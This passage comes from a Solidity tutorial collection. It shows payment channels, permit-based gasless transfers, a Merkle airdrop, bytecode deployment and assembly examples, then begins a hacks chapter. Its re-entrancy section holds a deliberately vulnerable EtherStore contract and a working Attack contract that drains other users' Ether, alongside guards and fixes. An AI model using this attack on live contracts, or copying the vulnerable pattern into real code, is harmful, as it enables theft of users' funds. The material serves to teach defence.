    {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s)
        internal
        pure
        returns (address, RecoverError)
    {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signatur
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defi
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-va
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead of 27/28, add 27 to v to ac
        // these malleable signatures as well.
        if (
            uint256(s)
                > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0
        ) {
            return (address(0), RecoverError.InvalidSignatureS);
        }
        if (v != 27 && v != 28) {
            return (address(0), RecoverError.InvalidSignatureV);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s)
        internal
        pure
        returns (address)
    {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }
```

```
    function toEthSignedMessageHash(bytes32 hash)
        internal
        pure
        returns (bytes32)
    {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(
            abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
        );
    }
}
```

2.19 Bi-Directional Payment Channel

An example of bi-directional payment channels in Solidity

Bi-directional payment channels allow participants `Alice` and `Bob` to repeatedly transfer Ether off chain.

Payments can go both ways, `Alice` pays `Bob` and `Bob` pays `Alice`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./ECDSA.sol";

/*
Opening a channel
1. Alice and Bob fund a multi-sig wallet
2. Precompute payment channel address
3. Alice and Bob exchanges signatures of initial balances
4. Alice and Bob creates a transaction that can deploy a payment channel from
   the multi-sig wallet

Update channel balances
1. Repeat steps 1 - 3 from opening a channel
2. From multi-sig wallet create a transaction that will
   - delete the transaction that would have deployed the old payment channel
   - and then create a transaction that can deploy a payment channel with the
     new balances

Closing a channel when Alice and Bob agree on the final balance
1. From multi-sig wallet create a transaction that will
   - send payments to Alice and Bob
   - and then delete the transaction that would have created the payment channel

Closing a channel when Alice and Bob do not agree on the final balances
1. Deploy payment channel from multi-sig
2. call challengeExit() to start the process of closing a channel
3. Alice and Bob can withdraw funds once the channel is expired
*/

contract BiDirectionalPaymentChannel {
    using ECDSA for bytes32;

    event ChallengeExit(address indexed sender, uint256 nonce);
    event Withdraw(address indexed to, uint256 amount);

    address payable[2] public users;
    mapping(address => bool) public isUser;

    mapping(address => uint256) public balances;

    uint256 public challengePeriod;
    uint256 public expiresAt;
    uint256 public nonce;

    modifier checkBalances(uint256[2] memory _balances) {
        require(
            address(this).balance >= _balances[0] + _balances[1],
            "balance of contract must be >= to the total balance of users"
        );
        _;
```

```
    }

    // NOTE: deposit from multi-sig wallet
    constructor(
        address payable[2] memory _users,
        uint256[2] memory _balances,
        uint256 _expiresAt,
        uint256 _challengePeriod
    ) payable checkBalances(_balances) {
        require(_expiresAt > block.timestamp, "Expiration must be > now");
        require(_challengePeriod > 0, "Challenge period must be > 0");

        for (uint256 i = 0; i < _users.length; i++) {
            address payable user = _users[i];

            require(!isUser[user], "user must be unique");
            users[i] = user;
            isUser[user] = true;

            balances[user] = _balances[i];
        }

        expiresAt = _expiresAt;
        challengePeriod = _challengePeriod;
    }

    function verify(
        bytes[2] memory _signatures,
        address _contract,
        address[2] memory _signers,
        uint256[2] memory _balances,
        uint256 _nonce
    ) public pure returns (bool) {
        for (uint256 i = 0; i < _signatures.length; i++) {
            /*
            NOTE: sign with address of this contract to protect
                  against replay attack on other contracts
            */
            bool valid = _signers[i]
                == keccak256(abi.encodePacked(_contract, _balances, _nonce))
                    .toEthSignedMessageHash().recover(_signatures[i]);

            if (!valid) {
                return false;
            }
        }

        return true;
    }

    modifier checkSignatures(
        bytes[2] memory _signatures,
        uint256[2] memory _balances,
        uint256 _nonce
    ) {
        // Note: copy storage array to memory
        address[2] memory signers;
        for (uint256 i = 0; i < users.length; i++) {
            signers[i] = users[i];
        }

        require(
            verify(_signatures, address(this), signers, _balances, _nonce),
```

```
            "Invalid signature"
        );

        _;
    }

    modifier onlyUser() {
        require(isUser[msg.sender], "Not user");
        _;
    }

    function challengeExit(
        uint256[2] memory _balances,
        uint256 _nonce,
        bytes[2] memory _signatures
    )
        public
        onlyUser
        checkSignatures(_signatures, _balances, _nonce)
        checkBalances(_balances)
    {
        require(block.timestamp < expiresAt, "Expired challenge period");
        require(_nonce > nonce, "Nonce must be greater than the current nonce");

        for (uint256 i = 0; i < _balances.length; i++) {
            balances[users[i]] = _balances[i];
        }

        nonce = _nonce;
        expiresAt = block.timestamp + challengePeriod;

        emit ChallengeExit(msg.sender, nonce);
    }

    function withdraw() public onlyUser {
        require(
            block.timestamp >= expiresAt, "Challenge period has not expired yet"
        );

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");

        emit Withdraw(msg.sender, amount);
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)

library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV
```

```
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        } else if (error == RecoverError.InvalidSignatureV) {
            revert("ECDSA: invalid signature 'v' value");
        }
    }

    function tryRecover(bytes32 hash, bytes memory signature)
        internal
        pure
        returns (address, RecoverError)
    {
        // Check the signature length
        // - case 65: r,s,v signature (standard)
        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else if (signature.length == 64) {
            bytes32 r;
            bytes32 vs;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                vs := mload(add(signature, 0x40))
            }
            return tryRecover(hash, r, vs);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    function recover(bytes32 hash, bytes memory signature)
        internal
        pure
        returns (address)
    {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs)
        internal
```

```
        pure
        returns (address, RecoverError)
    {
        bytes32 s = vs
            & bytes32(
                0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
            );
        uint8 v = uint8((uint256(vs) >> 255) + 27);
        return tryRecover(hash, v, r, s);
    }

    function recover(bytes32 hash, bytes32 r, bytes32 vs)
        internal
        pure
        returns (address)
    {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s)
        internal
        pure
        returns (address, RecoverError)
    {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signatur
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defi
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-va
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead of 27/28, add 27 to v to ac
        // these malleable signatures as well.
        if (
            uint256(s)
                > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0
        ) {
            return (address(0), RecoverError.InvalidSignatureS);
        }
        if (v != 27 && v != 28) {
            return (address(0), RecoverError.InvalidSignatureV);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s)
        internal
        pure
        returns (address)
    {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }
```

```
    function toEthSignedMessageHash(bytes32 hash)
        internal
        pure
        returns (bytes32)
    {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(
            abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
        );
    }
}
```

2.20 Gasless Token Transfer

Gasless ERC20 token transfer with Meta transaction

Gasless ERC20 token transfer with Meta transaction

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC20Permit {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
}

contract GaslessTokenTransfer {
    function send(
        address token,
        address sender,
        address receiver,
        uint256 amount,
        uint256 fee,
        uint256 deadline,
        // Permit signature
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        // Permit
        IERC20Permit(token).permit(
            sender, address(this), amount + fee, deadline, v, r, s
        );
        // Send amount to receiver
        IERC20Permit(token).transferFrom(sender, receiver, amount);
        // Take fee - send fee to msg.sender
        IERC20Permit(token).transferFrom(sender, msg.sender, fee);
    }
}
```

Example `ERC20` that implements `permit` copied from solmate

```
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.s
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed
abstract contract ERC20 {
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );

    string public name;
    string public symbol;
    uint8 public immutable decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 internal immutable INITIAL_CHAIN_ID;
    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
    mapping(address => uint256) public nonces;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        returns (bool)
    {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount)
        public
        virtual
        returns (bool)
    {
        balanceOf[msg.sender] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount)
        public
        virtual
        returns (bool)
    {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
```

```
        if (allowed != type(uint256).max) {
            allowance[from][msg.sender] = allowed - amount;
        }
        balanceOf[from] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(from, to, amount);
        return true;
    }

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadl
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(
                recoveredAddress != address(0) && recoveredAddress == owner,
                "INVALID_SIGNER"
            );

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID
            ? INITIAL_DOMAIN_SEPARATOR
```

```
            : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return keccak256(
            abi.encode(
                keccak256(
                    "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
                ),
                keccak256(bytes(name)),
                keccak256("1"),
                block.chainid,
                address(this)
            )
        );
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }
}

contract ERC20Permit is ERC20 {
    constructor(string memory _name, string memory _symbol, uint8 _decimals)
        ERC20(_name, _symbol, _decimals)
    {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}
```

Explanation:

- EIP-2612 adds a `permit` function to ERC-20 tokens, allowing approvals via off-chain ECDSA signatures instead of an on-chain `approve` transaction.
- The user signs a structured message (EIP-712 typed data) containing: owner, spender, value, nonce, deadline.
- A relayer submits `permit(owner, spender, value, deadline, v, r, s)` on behalf of the user, paying the gas.
- Nonces prevent replay: each `permit` call increments the owner's nonce, invalidating old signatures.
- Deadline prevents indefinitely-valid signatures — the permit reverts if `block.timestamp > deadline`.
- `GaslessTokenTransfer` combines permit + transferFrom in one atomic tx so the user never pays gas.

2.21 Merkle Airdrop

Airdrop contract using Merkle tree

Example of airdrop contract using Merkle tree.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {MerkleProof} from "./MerkleProof.sol";

interface IToken {
    function mint(address to, uint256 amount) external;
}

contract Airdrop {
    event Claim(address to, uint256 amount);

    IToken public immutable token;
    bytes32 public immutable root;
    mapping(bytes32 => bool) public claimed;

    constructor(address _token, bytes32 _root) {
        token = IToken(_token);
        root = _root;
    }

    function getLeafHash(address to, uint256 amount)
        public
        pure
        returns (bytes32)
    {
        return keccak256(abi.encode(to, amount));
    }

    function claim(bytes32[] memory proof, address to, uint256 amount)
        external
    {
        // NOTE: (to, amount) cannot have duplicates
        bytes32 leaf = getLeafHash(to, amount);

        require(!claimed[leaf], "airdrop already claimed");
        require(MerkleProof.verify(proof, root, leaf), "invalid merkle proof");
        claimed[leaf] = true;

        token.mint(to, amount);

        emit Claim(to, amount);
    }
}
```

Token

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// ERC20 + mint + authorization
```

```
contract Token {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;
    mapping(address => bool) public authorized;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        authorized[msg.sender] = true;
    }

    function setAuthorized(address addr, bool auth) external {
        require(authorized[msg.sender], "not authorized");
        authorized[addr] = auth;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function mint(address to, uint256 amount) external {
        require(authorized[msg.sender], "not authorized");
        _mint(to, amount);
    }
```

```
}
```

Libraries copied from OpenZeppelin

```
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts

pragma solidity ^0.8.20;

import {Hashes} from "./Hashes.sol";

library MerkleProof {
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf)
        internal
        pure
        returns (bool)
    {
        return processProof(proof, leaf) == root;
    }

    function processProof(bytes32[] memory proof, bytes32 leaf)
        internal
        pure
        returns (bytes32)
    {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = Hashes.commutativeKeccak256(computedHash, proof[i]);
        }
        return computedHash;
    }
}
```

```
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts

pragma solidity ^0.8.0;

library Hashes {
    function commutativeKeccak256(bytes32 a, bytes32 b)
        internal
        pure
        returns (bytes32)
    {
        return a < b ? _efficientKeccak256(a, b) : _efficientKeccak256(b, a);
    }

    function _efficientKeccak256(bytes32 a, bytes32 b)
        private
        pure
        returns (bytes32 value)
    {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
```

```
    }
}
```

Test

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

library MerkleHelper {
    // Bubble sort
    function sort(bytes32[] memory arr)
        internal
        pure
        returns (bytes32[] memory)
    {
        uint256 n = arr.length;
        for (uint256 i = 0; i < n; i++) {
            for (uint256 j = 0; j < n - 1 - i; j++) {
                if (arr[j] > arr[j + 1]) {
                    (arr[j], arr[j + 1]) = (arr[j + 1], arr[j]);
                }
            }
        }

        return arr;
    }

    function yulKeccak256(bytes32 a, bytes32 b)
        internal
        pure
        returns (bytes32 v)
    {
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            v := keccak256(0x00, 0x40)
        }
    }

    function calcRoot(bytes32[] memory hashes)
        internal
        pure
        returns (bytes32)
    {
        uint256 n = hashes.length;

        while (n > 1) {
            for (uint256 i = 0; i < n; i += 2) {
                bytes32 left = hashes[i];
                bytes32 right = hashes[i + 1 < n ? i + 1 : i];
                (left, right) = left <= right ? (left, right) : (right, left);
                hashes[i >> 1] = yulKeccak256(left, right);
            }
            n = (n + (n & 1)) >> 1;
        }

        return hashes[0];
    }

    function getProof(bytes32[] memory hashes, uint256 index)
```

```
        internal
        pure
        returns (bytes32[] memory)
    {
        bytes32[] memory proof = new bytes32[](0);
        uint256 len = 0;

        uint256 n = hashes.length;
        uint256 k = index;

        while (n > 1) {
            // Get proof for this level
            uint256 j = k & 1 == 1 ? k - 1 : (k + 1 < n ? k + 1 : k);
            bytes32 h = hashes[j];

            // proof.push(h)
            assembly {
                len := add(len, 1)
                let pos := add(proof, shl(5, len))
                mstore(pos, h)
                mstore(proof, len)
                mstore(0x40, add(pos, 0x20))
            }

            k >>= 1;

            // Calculate next level of hashes
            for (uint256 i = 0; i < n; i += 2) {
                bytes32 left = hashes[i];
                bytes32 right = hashes[i + 1 < n ? i + 1 : i];
                (left, right) = left <= right ? (left, right) : (right, left);
                hashes[i >> 1] = yulKeccak256(left, right);
            }
            n = (n + (n & 1)) >> 1;
        }

        return proof;
    }

    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf)
        internal
        pure
        returns (bool)
    {
        bytes32 h = leaf;

        for (uint256 i = 0; i < proof.length; i++) {
            (bytes32 left, bytes32 right) =
                h <= proof[i] ? (h, proof[i]) : (proof[i], h);
            h = yulKeccak256(left, right);
        }

        return h == root;
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {MerkleHelper} from "./MerkleHelper.sol";
```

```
import {Airdrop} from "../../../src/app/airdrop/Airdrop.sol";
import {Token} from "../../../src/app/airdrop/Token.sol";

contract AirdropTest is Test {
    Token private token;
    Airdrop private airdrop;

    struct Reward {
        address to;
        uint256 amount;
    }

    Reward[] private rewards;
    bytes32[] private hashes;
    mapping(bytes32 => Reward) private hashToReward;

    uint256 constant N = 100;

    function setUp() public {
        token = new Token("test", "TEST", 18);

        // Initialize users and airdrop amounts
        for (uint256 i = 0; i < N; i++) {
            rewards.push(
                Reward({to: address(uint160(i)), amount: (i + 1) * 100})
            );
            hashes.push(keccak256(abi.encode(rewards[i].to, rewards[i].amount)));
            hashToReward[hashes[i]] = rewards[i];
        }

        hashes = MerkleHelper.sort(hashes);

        bytes32 root = MerkleHelper.calcRoot(hashes);

        airdrop = new Airdrop(address(token), root);

        token.setAuthorized(address(airdrop), true);
    }

    function test_valid_proof() public {
        for (uint256 i = 0; i < N; i++) {
            bytes32 h = hashes[i];
            Reward memory reward = hashToReward[h];
            bytes32[] memory proof = MerkleHelper.getProof(hashes, i);

            airdrop.claim(proof, reward.to, reward.amount);
            assertEq(token.balanceOf(reward.to), reward.amount);
        }
    }
}
```

Explanation:

- Merkle airdrop uses a Merkle tree to commit to a list of eligible recipients off-chain; claimants prove inclusion with a Merkle proof on-chain.
- The root is stored once in the contract; verifying a proof costs O(log N) hashes — far cheaper than storing every eligible address on-chain.
- `MerkleProof.verify(proof, root, leaf)` hashes pairs bottom-up and checks the final hash equals the root.
- Double-claim protection: a `claimed` bitmap or mapping records which leaf indices have been used.

- Security note: leaf hashing must be done carefully — use double-hashing (`keccak256(keccak256(...))`) to prevent second pre-image attacks.

2.22 Simple Bytecode Contract

Simple example of contract written in bytecode

Simple example of contract written in bytecode

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Factory {
    event Log(address addr);

    // Deploys a contract that always returns 255
    function deploy() external {
        bytes memory bytecode = hex"6960ff60005260206000f3600052600a6016f3";
        address addr;
        assembly {
            // create(value, offset, size)
            addr := create(0, add(bytecode, 0x20), 0x13)
        }
        require(addr != address(0));

        emit Log(addr);
    }
}

interface IContract {
    function getValue() external view returns (uint256);
}

// https://www.evm.codes/playground
/*
Run time code - return 255
60ff60005260206000f3

// Store 255 to memory
mstore(p, v) - store v at memory p to p + 32

PUSH1 0xff
PUSH1 0
MSTORE

// Return 32 bytes from memory
return(p, s) - end execution and return data from memory p to p + s

PUSH1 0x20
PUSH1 0
RETURN

Creation code - return runtime code
6960ff60005260206000f3600052600a6016f3

// Store run time code to memory
PUSH10 0X60ff60005260206000f3
PUSH1 0
MSTORE

// Return 10 bytes from memory starting at offset 22
PUSH1 0x0a
PUSH1 0x16
```

```
RETURN
*/
```

2.23 Write to Any Slot

Write to Any Slot

Solidity storage is like an array of length 2^256. Each slot in the array can store 32 bytes.

Order of declaration and the type of state variables define which slots it will use.

However using assembly, you can write to any slot.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

library StorageSlot {
    // Wrap address in a struct so that it can be passed around as a storage pointer
    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot)
        internal
        pure
        returns (AddressSlot storage pointer)
    {
        assembly {
            // Get the pointer to AddressSlot stored at slot
            pointer.slot := slot
        }
    }
}

contract TestSlot {
    bytes32 public constant TEST_SLOT = keccak256("TEST_SLOT");

    function write(address _addr) external {
        StorageSlot.AddressSlot storage data =
            StorageSlot.getAddressSlot(TEST_SLOT);
        data.value = _addr;
    }

    function get() external view returns (address) {
        StorageSlot.AddressSlot storage data =
            StorageSlot.getAddressSlot(TEST_SLOT);
        return data.value;
    }
}
```

2.24 Assembly Binary Exponentiation

Example of binary exponentiation in assembly

Example of binary exponentiation in `assembly`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract AssemblyBinExp {
    // Binary exponentiation to calculate x**n
    function rpow(uint256 x, uint256 n, uint256 b)
        public
        pure
        returns (uint256 z)
    {
        assembly {
            switch x
            // x = 0
            case 0 {
                switch n
                // n = 0 --> x**n = 0**0 --> 1
                case 0 { z := b }
                // n > 0 --> x**n = 0**n --> 0
                default { z := 0 }
            }
            default {
                switch mod(n, 2)
                // x > 0 and n is even --> z = 1
                case 0 { z := b }
                // x > 0 and n is odd --> z = x
                default { z := x }

                let half := div(b, 2) // for rounding.
                // n = n / 2, while n > 0, n = n / 2
                for { n := div(n, 2) } n { n := div(n, 2) } {
                    let xx := mul(x, x)
                    // Check overflow - revert if xx / x != x
                    if iszero(eq(div(xx, x), x)) { revert(0, 0) }
                    // Round (xx + half) / b
                    let xxRound := add(xx, half)
                    // Check overflow - revert if xxRound < xx
                    if lt(xxRound, xx) { revert(0, 0) }
                    x := div(xxRound, b)
                    // if n % 2 == 1
                    if mod(n, 2) {
                        let zx := mul(z, x)
                        // revert if x != 0 and zx / x != z
                        if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
                            revert(0, 0)
                        }
                        // Round (zx + half) / b
                        let zxRound := add(zx, half)
                        // Check overflow - revert if zxRound < zx
                        if lt(zxRound, zx) { revert(0, 0) }
                        z := div(zxRound, b)
                    }
                }
            }
        }
```

```
    }
}
```

Chapter 3 — Hacks & Vulnerabilities

3.1 Re-Entrancy

An example of re-entrancy attack in Solidity

Vulnerability

Let's say that contract `A` calls contract `B`.

Reentrancy exploit allows `B` to call back into `A` before `A` finishes execution.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
EtherStore is a contract where you can deposit and withdraw ETH.
This contract is vulnerable to re-entrancy attack.
Let's see why.

1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
   You will get 3 Ether back (2 Ether stolen from Alice and Bob,
   plus 1 Ether sent from this contract).

What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.

Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
```

```
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

Preventative Techniques

- Ensure all state changes happen before calling external contracts
- Use function modifiers that prevent re-entrancy

Here is an example of a re-entrancy guard

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
```

Explanation:

- Re-entrancy is one of the most famous Solidity vulnerabilities (exploited in the 2016 DAO hack — $60M lost).
- Vulnerable pattern: a contract sends ETH (or makes an external call) BEFORE updating its own state.
- The attacker's `receive()` / `fallback()` calls back into the victim before the first call completes, re-entering with the old (un-decremented) balance.

- **Fix — Checks-Effects-Interactions (CEI):** update all state (balances) BEFORE making external calls.
- **Fix — ReentrancyGuard:** use OpenZeppelin's `nonReentrant` modifier which sets a lock flag.
- Cross-function re-entrancy: the attacker re-enters a *different* function (e.g., calls `withdraw` from inside `deposit`). CEI + a global lock both prevent it.
- Read-only re-entrancy: attacker re-enters to read stale state (view function) used by an oracle. Mitigated by not relying on balances mid-execution.

3.2 Arithmetic Overflow and Underflow

An example of hacking Solidity with arithmetic overflow / underflow

Vulnerability

Solidity < 0.8

Integers in Solidity overflow / underflow without any errors

Solidity >= 0.8

Default behaviour of Solidity 0.8 for overflow / underflow is to throw an error.

```
// SPDX-License-Identifier: MIT
